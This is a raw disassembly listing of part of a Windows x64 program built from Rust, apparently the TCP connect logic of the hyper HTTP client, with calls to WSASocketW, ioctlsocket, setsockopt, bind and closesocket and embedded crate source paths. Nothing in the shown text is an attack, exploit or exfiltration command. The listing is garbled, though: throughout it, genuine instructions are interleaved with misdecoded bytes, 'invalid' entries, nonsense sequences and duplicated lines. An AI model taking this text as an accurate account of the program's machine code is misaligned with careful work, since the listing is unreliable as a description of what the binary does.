add byte [rcx], al
mov qword [r12], 0
mov qword [r12 + 0x50], rax
mov dword [rsp + 0x50], eax
and al, 0
add byte [rax], al
add byte [rcx - 0x77], cl
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x50], eax
xor r13d, r13d
jmp 0x14011ca97
lea r14, [r12 + 0x1e0]
movzx eax, byte [r12 + 0x270]
add byte [rax], al
add dword [rax], eax
add byte [rcx + 0xf], al
mov dh, 0x84
and al, 0x70
test byte [rax + rsi*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
or eax, 0xd2d82
add byte [rax], al
lea rcx, [0x1401ef7dc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
mov edx, 0x22
call fcn.140186b70
ud2
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
mov edx, 0x23
call fcn.140186b70
ud2
mov rcx, qword [rax + 0x10]
cmp rcx, qword [rax + 0x18]
je 0x14011daa7
add dl, byte [rax]
add byte [rax], al
add dl, byte [rax]
add byte [rax], al
lea rdx, [rcx + 0x20]
mov qword [rax + 0x10], rdx
movzx eax, word [rcx]
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rbp - 0x22], xmm0
movups xmm0, xmmword [rcx + 2]
adc byte [rcx + 2], al
adc byte [rcx + 2], al
movaps xmmword [rbp - 0x30], xmm0
cmp ax, 2
je 0x14011daa3
test cl, bl
sldt word [rax]
test cl, bl
sldt word [rax]
mov word [r12 + 0x20], ax
movaps xmm0, xmmword [rbp - 0x30]
movups xmmword [r12 + 0x22], xmm0
movups xmmword [rsp + 0x22], xmm0
movups xmm0, xmmword [rbp - 0x22]
movups xmmword [r12 + 0x30], xmm0
mov rcx, qword [r12 + 0x40]
mov ecx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
mov r12, qword [r12 + 0x48]
mov r14, qword [rcx + 0x20]
mov r15d, dword [rcx + 0x28]
test ax, ax
mov eax, 2
mov ebx, 0x17
cmove ebx, eax
mov rax, qword [0x14023c178]
cmp rax, 3
je 0x14011cb50
mov byte [rbp + 0xf0], 1
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x240], rax
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_socket2_0.4.10_src_syswindows.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14023c178]
lea r9, [0x1401c0388]
lea r8, [rbp + 0x240]
xor edx, edx
call fcn.14018ce40
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov edx, 1
mov r8d, 6
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSASocketW]
invalid
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
test byte [rbp + 0xf], bl
add byte [rax], al
invalid
mov dword [rbp + 0x240], 1
mov byte [rbp + 0x38f], 1
lea r8, [rbp + 0x240]
mov qword [rbp + 0x378], rax
mov rcx, rax
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x14011cbf0
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
lea r9, [rax + 2]
mov byte [rbp + 0x38f], 1
test dword [rdi + 0x1000003], ecx
test dword [rdi + 0x1000003], ecx
lea rdx, str.tcp_set_nonblocking_errortcp_bind_local_error
lea rcx, [rbp + 0x240]
add al, byte [rax]
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
add al, byte [rax]
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
call fcn.140053f40
mov r13, qword [rbp + 0x240]
test r13, r13
jne 0x14011dbc6
mov r13d, dword [r12 + 0x48]
cmp r13d, 0x3b9aca00
je 0x14011ccf7
invalid
add byte [rcx - 0x75], cl
pop rsp
and al, 0x40
mov rbx, qword [r12 + 0x40]
mov dword [rbp + 0x240], 1
mov byte [rbp + 0x38f], 1
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x240]
mov rcx, qword [rbp + 0x378]
mov edx, 0xffff
mov r8d, 8
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x14011ccf1
mov ecx, 0x3e8
mov rax, rbx
mul rcx
mov ecx, r13d
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
add rcx, rax
adc rdx, 0
mov eax, 0xffffffff
invalid
invalid
invalid
dec dword [rax + 0x39]
ror dword [rax + 0xf], 0x43
enter 0xffffffffffffc031, 0x48
neg edx
sbb eax, eax
or eax, ecx
mov dword [rbp + 0x240], 1
add byte [rax], al
mov dword [rbp + 0x244], eax
mov dword [rbp + 0x248], 0
add byte [rax], al
add byte [rax], al
mov dword [rbp + 0xf0], 0
mov byte [rbp + 0x38f], 1
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
and al, 0x38
push rdi
ror byte [rdi], 0x11
and al, 0x38
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
and al, 0x28
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x240]
mov rcx, qword [rbp + 0x378]
mov edx, 0x98000004
mov r9d, recv
call qword [sym.imp.WS2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
jne 0x14011ccf7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, qword [rbp + 0x380]
cmp word [rax + 0x20], 0
je 0x14011cd9b
cmp byte [r12 + 0x56], 0
mov rcx, qword [rbp + 0x378]
je 0x14011ce2b
movups xmm0, xmmword [r12 + 0x57]
movabs rax, 0x1c00000000
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rdx + rax + 0x570f0000], edi
leave
movups xmmword [rbp + 0x2ac], xmm1
movups xmmword [rbp + 0x29c], xmm1
lodsb al, byte [rsi]
add al, byte [rax]
add byte [rdi], cl
adc dword [rbp + 0x29c], ecx
movups xmmword [rbp + 0x28c], xmm1
movups xmmword [rbp + 0x27c], xmm1
movups xmmword [rbp + 0x26c], xmm1
movups xmmword [rbp + 0x25c], xmm1
add byte [rdi], cl
adc dword [rbp + 0x25c], ecx
movups xmmword [rbp + 0x248], xmm0
mov dword [rbp + 0x258], 0
test dword [rax + 2], ebx
add byte [rax], al
add byte [rax], al
add byte [rax], al
test dword [rax + 2], ebx
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x240], 0x17
mov byte [rbp + 0x38f], 1
add byte [rcx], al
lea rdx, [rbp + 0x240]
mov r8d, 0x1c
call qword [sym.imp.WS2_32.dll_bind]
jmp 0x14011cf98
cmp byte [r12 + 0x51], 0
mov rcx, qword [rbp + 0x378]
je 0x14011cee6
mov eax, dword [r12 + 0x52]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a8], xmm0
movups xmmword [rbp + 0x298], xmm0
movups xmmword [rbp + 0x288], xmm0
movups xmmword [rbp + 0x278], xmm0
movups xmmword [rbp + 0x268], xmm0
movups xmmword [rbp + 0x258], xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x2b8], 0
add byte [rax], al
add byte [rax], al
add bh, al
test dword [rax + 2], eax
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, al
test dword [rax + 2], eax
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov dword [rbp + 0x244], eax
mov dword [rbp + 0x2c0], reloc.WS2_32.dll_recv
mov byte [rbp + 0x38f], 1
test dword [rdx + rax], eax
add bh, al
test eax, eax
add al, byte [rax]
add byte [rax], dl
add byte [rax], al
add dh, al
test dword [rdi + 0x1000003], ecx
lea rdx, [rbp + 0x240]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_bind]
jmp 0x14011cf98
xorps xmm0, xmm0
movups xmmword [rbp + 0xf4], xmm0
mov word [rbp + 0xf0], 1
movzx eax, word [rbp + 0x102]
add byte [rsi - 0x77], ah
test dword [rax + 3], esp
add byte [rax], al
add byte [rsi - 0x77], ah
test dword [rax + 3], esp
add byte [rax], al
movups xmm1, xmmword [rbp + 0xf2]
movaps xmmword [rbp + 0x350], xmm1
sub dword [rbp + 0x350], ecx
sub dword [rbp + 0x350], ecx
mov rax, qword [rbp + 0x352]
mov r9d, dword [rbp + 0x35a]
movzx edx, word [rbp + 0x35e]
movzx r8d, word [rbp + 0x360]
movups xmmword [rbp + 0x25c], xmm0
movups xmmword [rbp + 0x26c], xmm0
movups xmmword [rbp + 0x27c], xmm0
movups xmmword [rbp + 0x28c], xmm0
movups xmmword [rbp + 0x29c], xmm0
movups xmmword [rbp + 0x2ac], xmm0
mov dword [rbp + 0x2bc], 0
mov qword [rbp + 0x248], rax
add byte [rcx + rcx*4 - 0x73], al
push rax
add al, byte [rax]
add byte [rsi - 0x77], ah
xchg ebp, eax
push rsp
add al, byte [rax]
add byte [rsi + 0x44], ah
mov dword [rbp + 0x256], eax
add byte [rcx + rcx*4 - 0x73], al
push rax
add al, byte [rax]
add byte [rsi - 0x77], ah
xchg ebp, eax
push rsp
add al, byte [rax]
add byte [rsi + 0x44], ah
mov dword [rbp + 0x256], eax
mov dword [rbp + 0x258], 0
mov r8d, 0x1c
xor eax, eax
shl byte [rsi - 0x46], 0x17
add byte [rbp + 0x31], al
leave
jmp 0x14011cf68
mov qword [rbp + 0xf0], 0
movups xmm0, xmmword [rbp + 0xf2]
lock add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc byte [rbp + 0xf2], al
movaps xmmword [rbp + 0x350], xmm0
movzx eax, word [rbp + 0x102]
mov word [rbp + 0x360], ax
movzx eax, word [rbp + 0x354]
rol ax, 8
mov r9d, dword [rbp + 0x350]
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
movups xmmword [rbp + 0x258], xmm0
movups xmmword [rbp + 0x268], xmm0
movups xmmword [rbp + 0x278], xmm0
movups xmmword [rbp + 0x288], xmm0
movups xmmword [rbp + 0x298], xmm0
movups xmmword [rbp + 0x2a8], xmm0
mov qword [rbp + 0x2b8], 0
test dword [rax + 2], edi
add byte [rax], al
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
test dword [rax + 2], edi
add byte [rax], al
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
mov dx, 2
mov word [rbp + 0x240], dx
mov word [rbp + 0x242], ax
mov dword [rbp + 0x244], r9d
mov dword [rbp + 0x2c0], r8d
mov byte [rbp + 0x38f], 1
lea rdx, [rbp + 0x240]
call qword [sym.imp.WS2_32.dll_bind]
mov ecx, eax
xor eax, eax
test ecx, ecx
leave
leave
je 0x14011cfae
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
invalid
invalid
add cl, byte [rax - 0x7b]
test rax, rax
je 0x14011cfe6
sal byte [rbx + rsi - 0x3a], 0x85
pop qword [rbx]
add byte [rax], al
add dword [rax - 0x73], ecx
mov byte [rbp + 0x38f], 1
lea rdx, [0x1401a8349]
adc eax, 0x8b388
adc eax, 0x8b388
lea rcx, [rbp + 0x240]
mov r8d, shutdown
mov r9, rax
call fcn.140053f40
mov r13, qword [rbp + 0x240]
test r13, r13
jne 0x14011dbc6
cmp byte [r12 + 0x68], 0
mov rcx, qword [rbp + 0x378]
je 0x14011d02f
mov dword [rbp + 0x240], 1
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x240]
lea eax, [rax + 2]
add byte [rax], al
lea eax, [rax + 2]
add byte [rax], al
mov edx, 0xffff
mov r8d, 4
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x14011d881
mov rcx, qword [rbp + 0x378]
cmp qword [r12], 0
je 0x14011d083
mov rax, qword [r12 + 8]
mov r8, rax
shr r8, 0x20
xor edx, edx
neg r8
sbb edx, edx
or edx, eax
mov dword [rbp + 0x240], edx
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x240]
mov edx, 0xffff
invalid
inc dword [rax]
add byte [rcx - 0x48], al
add dword [rax], edx
add byte [rax], al
call qword [sym.imp.WS2_32.dll_setsockopt]
add byte [rbx + 0x675fff8], al
invalid
add byte [rbx + 0x675fff8], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x378]
add eax, dword [rax]
add byte [rcx - 0x7d], cl
jl 0x14011d0ab
cmp qword [r12 + 0x10], 0
adc byte [rax], al
je 0x14011d0d8
mov rax, qword [r12 + 0x18]
mov r8, rax
shr r8, 0x20
xor edx, edx
neg r8
sbb edx, edx
or edx, eax
mov dword [rbp + 0x240], edx
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x240]
mov edx, 0xffff
add byte [rax], al
add byte [rbp + rcx*4 - 0x73], cl
add al, byte [rax]
add byte [rdx + 0xffff], bh
mov r8d, 0x1002
call qword [sym.imp.WS2_32.dll_setsockopt]
adc byte [rax], al
add bh, bh
adc eax, 0x7227a
cmp eax, 0xffffffff
jne case.default.0x14011d1d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x378]
mov r12, qword [rbp + 0x380]
movups xmm0, xmmword [r12 + 0x20]
movups xmm1, xmmword [r12 + 0x30]
lea rbx, [r12 + 0x58]
mov qword [r12 + 0x58], r14
mov dword [r12 + 0x60], r15d
movups xmmword [r12 + 0x68], xmm0
movups xmmword [r12 + 0x78], xmm1
js 0x14011d150
mov dword [rsp + 0x88], ecx
js 0x14011d150
mov dword [rsp + 0x88], ecx
movups xmm0, xmmword [rbp + 0x160]
movups xmm1, xmmword [rbp + 0x170]
movups xmm2, xmmword [rbp + 0x180]
movups xmm3, xmmword [rbp + 0x190]
adc byte [rbp + 0x190], bl
adc byte [rbp + 0x190], bl
movups xmmword [r12 + 0x90], xmm0
movups xmmword [r12 + 0xa0], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [r12 + 0xb0], xmm2
movups xmmword [r12 + 0xc0], xmm3
movups xmm0, xmmword [rbp + 0x1a0]
movups xmmword [r12 + 0xd0], xmm0
test dword [rax + 0x41000001], esp
movups xmmword [rsp + 0xd0], xmm0
mov byte [r12 + 0xe0], 0
mov eax, dword [rbp + 0x200]
mov ecx, dword [rbp + 0x203]
add byte [rax], al
add byte [rax], al
mov dword [r12 + 0xe4], ecx
mov dword [r12 + 0xe1], eax
add byte [rax], al
add byte [rax], al
mov byte [r12 + 0xe8], 0
lea rcx, [r12 + 0xe9]
lea rdx, [rbp - 0x10]
lea edx, [rbp - 0x10]
mov r8d, 0xf7
call sub.VCRUNTIME140.dll_memcpy
lea r14, [r12 + 0x1e0]
add byte [rax], al
add byte [rax], al
mov r8d, 0x188
mov rcx, r14
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
xchg ebx, eax
invalid
add byte [rcx + 0xf], al
mov dh, 0x84
and al, 0x70
add al, byte [rax]
invalid
xchg ebx, eax
invalid
lea rcx, [0x1401ef7dc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rbp + 0x378], r14
js 0x14011d1dd
add byte [rax], al
mov ebx, dword [r12 + 0x1e8]
mov ebx, dword [rsp + 0x1e8]
cmp ebx, 0x3b9aca00
jne 0x14011d285
movups xmm0, xmmword [r12 + 0x260]
movups xmmword [r12 + 0x2e8], xmm0
movups xmm0, xmmword [r12 + 0x250]
movups xmmword [r12 + 0x2d8], xmm0
movups xmm0, xmmword [r12 + 0x240]
movups xmmword [r12 + 0x2c8], xmm0
movups xmm0, xmmword [r12 + 0x230]
movups xmmword [r12 + 0x2b8], xmm0
movups xmm0, xmmword [r12 + 0x1f0]
movups xmm1, xmmword [r12 + 0x200]
movups xmm2, xmmword [r12 + 0x210]
movups xmm3, xmmword [r12 + 0x220]
movups xmmword [r12 + 0x2a8], xmm3
movups xmmword [r12 + 0x298], xmm2
add byte [rcx + 0xf], al
adc dword [rsp + 0x288], ecx
add byte [rcx + 0xf], al
adc dword [rsp + 0x288], ecx
movups xmmword [r12 + 0x278], xmm0
jmp 0x14011d38c
mov r14, qword [r12 + 0x1e0]
movups xmm0, xmmword [r12 + 0x260]
add byte [rcx + 0xf], al
adc byte [rsp + 0x260], al
movaps xmmword [rbp + 0x1d0], xmm0
movups xmm0, xmmword [r12 + 0x250]
movaps xmmword [rbp + 0x1c0], xmm0
movups xmm0, xmmword [r12 + 0x240]
movaps xmmword [rbp + 0x1b0], xmm0
movups xmm0, xmmword [r12 + 0x230]
movaps xmmword [rbp + 0x1a0], xmm0
movups xmm0, xmmword [r12 + 0x1f0]
movups xmm1, xmmword [r12 + 0x200]
movups xmm2, xmmword [r12 + 0x210]
movups xmm3, xmmword [r12 + 0x220]
movaps xmmword [rbp + 0x190], xmm3
movaps xmmword [rbp + 0x180], xmm2
movaps xmmword [rbp + 0x170], xmm1
movaps xmmword [rbp + 0x160], xmm0
call fcn.140161f70
add rax, r14
jae 0x14011d464
or dword [rcx + 1], 0
invalid
call fcn.140161f70
add rax, 0x38640900
add eax, 0x38640900
jb 0x14011dd61
mov r8d, edx
cmp edx, 0x3b9aca00
add dl, cl
invalid
cmp esi, dword [rdx + 0x10]
add dl, cl
invalid
add r8d, 0xc4653600
inc rax
ror byte [rdi], 0x84
sbb cl, byte [rdx]
add byte [rax], al
ror byte [rdi], 0x84
sbb cl, byte [rdx]
add byte [rax], al
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
add eax, ecx
add eax, ecx
jb 0x14011ddc0
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_time_sleep.rs
lea rcx, [rbp + 0xf0]
add byte [rax], al
add byte [rax - 0x77], cl
ret 0x20e8
stosd dword [rdi], eax
add eax, 0x12ee900
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
ret 0x20e8
mov qword [rbp + 0x378], r14
lea rdx, [r12 + 0x278]
lea rcx, [rbp - 0x10]
mov qword [rbp + 0x368], rdx
mov r8, rdi
call fcn.14011e900
mov r14, qword [rbp - 0x10]
cmp r14, 3
je 0x14011da95
mov r13, qword [rbp - 8]
movups xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x220], xmm0
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x230], rax
mov rdx, qword [rbp + 0x380]
movzx eax, byte [rdx + 0x2f0]
cmp eax, 3
je 0x14011d428
test eax, eax
jne 0x14011d3f3
mov rcx, qword [rdx + 0x298]
call qword [sym.imp.WS2_32.dll_closesocket]
cmp r14d, 2
cmp esi, 2
jne 0x14011d8f8
lea rcx, [rbp - 0x10]
mov rdx, r13
call fcn.1401201d0
mov r13, qword [rbp - 0x10]
movups xmm0, xmmword [rbp - 8]
movaps xmmword [rbp + 0x350], xmm0
mov rax, qword [rbp + 8]
mov qword [rbp + 0x360], rax
jmp 0x14011d914
movzx eax, byte [rdx + 0x2e8]
cmp eax, 3
je 0x14011da59
add al, byte [rax]
add byte [rbx - 0x7bf0fc08], al
and dword [rsi], eax
add byte [rax], al
test eax, eax
jne 0x14011da65
mov rax, qword [rbp + 0x380]
lea rcx, [rax + 0x2a8]
lea ecx, [rax + 0x2a8]
lea ecx, [rax + 0x2a8]
call fcn.140109d50
jmp 0x14011da65
mov qword [rbp + 0x378], r14
jmp 0x14011d5a0
mov r8d, edx
add r8d, ebx
cmp r8d, 0x3b9aca00
jb 0x14011d483
add r8d, 0xc4653600
inc rax
je 0x14011d31b
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
lea rcx, [rbp + 0xf0]
mov rdx, rax
call fcn.140177ea0
movaps xmm0, xmmword [rbp + 0x1d0]
movaps xmmword [rbp + 0xd0], xmm0
sub dword [rbp + 0xd0], eax
sub dword [rbp + 0xd0], eax
add byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0x1c0], al
movaps xmm0, xmmword [rbp + 0x1c0]
movaps xmmword [rbp + 0xc0], xmm0
movaps xmm0, xmmword [rbp + 0x1b0]
movaps xmmword [rbp + 0xb0], xmm0
movaps xmm0, xmmword [rbp + 0x1a0]
test dword [rax + 0xf000001], esp
sub dword [rbp + 0xa0], eax
test dword [rax + 0xf000001], esp
sub dword [rbp + 0xa0], eax
movaps xmm0, xmmword [rbp + 0x160]
movaps xmm1, xmmword [rbp + 0x170]
movaps xmm2, xmmword [rbp + 0x180]
movaps xmm3, xmmword [rbp + 0x190]
movaps xmmword [rbp + 0x90], xmm3
movaps xmmword [rbp + 0x80], xmm2
movaps xmmword [rbp + 0x70], xmm1
movaps xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [rbp + 0xf0]
movups xmm1, xmmword [rbp + 0x100]
movups xmm2, xmmword [rbp + 0x110]
movups xmm3, xmmword [rbp + 0x120]
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp], xmm1
movaps xmmword [rbp + 0x10], xmm2
movaps xmmword [rbp + 0x20], xmm3
movups xmm0, xmmword [rbp + 0x130]
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [rbp + 0x140]
movaps xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x150]
movaps xmmword [rbp + 0x50], xmm0
lea rbx, [rbp + 0x240]
lea rdx, [rbp - 0x10]
mov r8d, 0xf0
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r12, qword [rbp + 0x380]
lea rcx, [r12 + 0x278]
mov r8d, 0xf0
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r12 + 0x278]
mov qword [rbp + 0x368], rax
lea rbx, [r12 + 0x2e8]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
je 0x14011d61d
xor r15d, r15d
test eax, eax
jne 0x14011d648
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
movabs byte [0x2cabde8000489], al
movabs byte [0x2cabde8000489], al
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
add byte [rcx], al
add byte [rcx], al
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0xfc], 0
setne cl
cmp byte [rax + 0xfd], 0
sete r15b
and r15b, cl
lea rcx, [rbp - 0x10]
mov rdx, rbx
mov r8, rdi
call fcn.14011e900
mov r14, qword [rbp - 0x10]
cmp r14, 3
jne 0x14011d71f
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x11eca105], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
je 0x14011d6c8
invalid
add byte [rbx + 0x447401f8], al
test eax, r8d
test eax, eax
jne 0x14011d6fc
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x140165fa0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
add eax, 0x11ec58
add eax, 0x11ec58
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add dword [rbx + 0x11ec3e05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx edx, byte [rax + 0xfc]
test dl, dl
sete cl
cmp byte [rax + 0xfd], 0
setne al
or al, cl
or r15b, al
cmp r15b, 1
jne 0x14011d745
mov rcx, qword [rbp + 0x368]
mov rdx, rdi
call fcn.1401780e0
test al, al
mov r12, qword [rbp + 0x380]
je 0x14011d816
mov r13, qword [rbp - 8]
movups xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x160], xmm0
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x170], rax
mov r12, qword [rbp + 0x380]
jmp 0x14011d816
mov byte [rbp + 0x348], dl
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xfc], 0
mov rcx, qword [rbp + 0x368]
add byte [rax], al
add byte [rax], al
mov rdx, rdi
call fcn.1401780e0
mov ebx, eax
mov eax, dword [0x14023c30c]
adc dword [rax], eax
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
add byte [rax], 1
add byte [rax], al
add byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x14011d7e0
test eax, eax
mov r12, qword [rbp + 0x380]
add eax, dword [rax]
add byte [rbp + 0x6e], dh
add eax, dword [rax]
add byte [rbp + 0x6e], dh
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ecx, byte [rbp + 0x348]
mov byte [rax + 0xfc], cl
mov byte [rax + 0xfd], 0
mov r12, qword [rbp + 0x380]
test bl, bl
jne 0x14011dc9b
mov rax, qword [rbp + 0x170]
mov qword [rbp + 0x210], rax
movaps xmm0, xmmword [rbp + 0x160]
movaps xmmword [rbp + 0x200], xmm0
movzx eax, byte [r12 + 0x360]
cmp eax, 3
je 0x14011d85a
test eax, eax
jne 0x14011d8b9
movzx eax, byte [r12 + 0x358]
cmp eax, 3
je 0x14011d89e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x378]
cmp qword [r12], 0
jne 0x14011d036
jmp 0x14011d083
invalid
mov rax, qword [rbp + 0x230]
mov qword [rbp + 0x360], rax
movaps xmm0, xmmword [rbp + 0x220]
add eax, dword [rax]
add byte [rdi], cl
sub byte [rbp + 0x220], al
movaps xmmword [rbp + 0x350], xmm0
movaps xmm0, xmmword [rbp + 0x350]
movaps xmmword [rbp + 0x1e0], xmm0
mov rax, qword [rbp + 0x360]
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x380]
mov byte [rax + 0x270], 1
mov rcx, qword [rbp + 0x378]
call fcn.140120360
cmp r14d, 2
jne 0x14011da82
mov rax, qword [rbp + 0x1f0]
mov qword [rbp], rax
movaps xmm0, xmmword [rbp + 0x1e0]
movaps xmmword [rbp - 0x10], xmm0
mov r12, qword [rbp + 0x380]
mov r8, qword [r12]
test r8, r8
je 0x14011da04
lea rbx, [r12 + 8]
cmp qword [r12 + 8], 0
je 0x14011d99a
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ss, word [rsi]
invalid
invalid
mov ss, word [rsi]
invalid
mov rcx, qword [r12 + 0x10]
test rcx, rcx
je 0x14011da04
mov qword [rbp + 0x1f8], rbx
mov qword [rbp + 0x378], r13
popfq
clc
add dword [rax], eax
add byte [rcx + rcx*4 - 0x53], cl
js 0x14011d9b3
add byte [rax], al
mov rax, qword [r12 + 0x18]
mov eax, dword [rsp + 0x18]
mov qword [rbp + 0x368], rcx
mov qword [rbp + 0x348], rax
call qword [rax]
mov rax, qword [rbp + 0x348]
cmp qword [rax + 8], 0
mov r12, qword [rbp + 0x380]
mov r13, qword [rbp + 0x378]
mov r8, qword [rbp + 0x368]
je 0x14011da04
cmp qword [rax + 0x10], 0x11
jb 0x14011d9f5
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [r12 + 0x378], 1
mov qword [r12], r13
movaps xmm0, xmmword [rbp - 0x10]
movups xmmword [r12 + 8], xmm0
mov rax, qword [rbp]
mov qword [r12 + 0x18], rax
mov rax, qword [r12 + 0x50]
jmp 0x14011ca97
cmp r14d, 2
jne 0x14011d8f8
jmp 0x14011d3fd
lea rcx, [rdx + 0x2b8]
lea ecx, [rdx + 0x2b8]
call fcn.140108d10
mov rax, qword [rbp + 0x380]
mov byte [rax + 0x2f1], 0
add byte [rcx - 0x7d], al
inc byte [rdx]
add dh, al
xor cl, 2
add byte [rax], al
add byte [rcx - 0x7d], al
inc byte [rdx]
je 0x14011d3fd
invalid
jmp 0x14011d8f8
lea rax, [rbp + 0x1e0]
mov r12, qword [rbp + 0x380]
jmp case.0x14010aa3a.571
mov al, 4
mov r12, qword [rbp + 0x380]
jmp 0x14011dc9d
mov r13, qword [r12]
test r13, r13
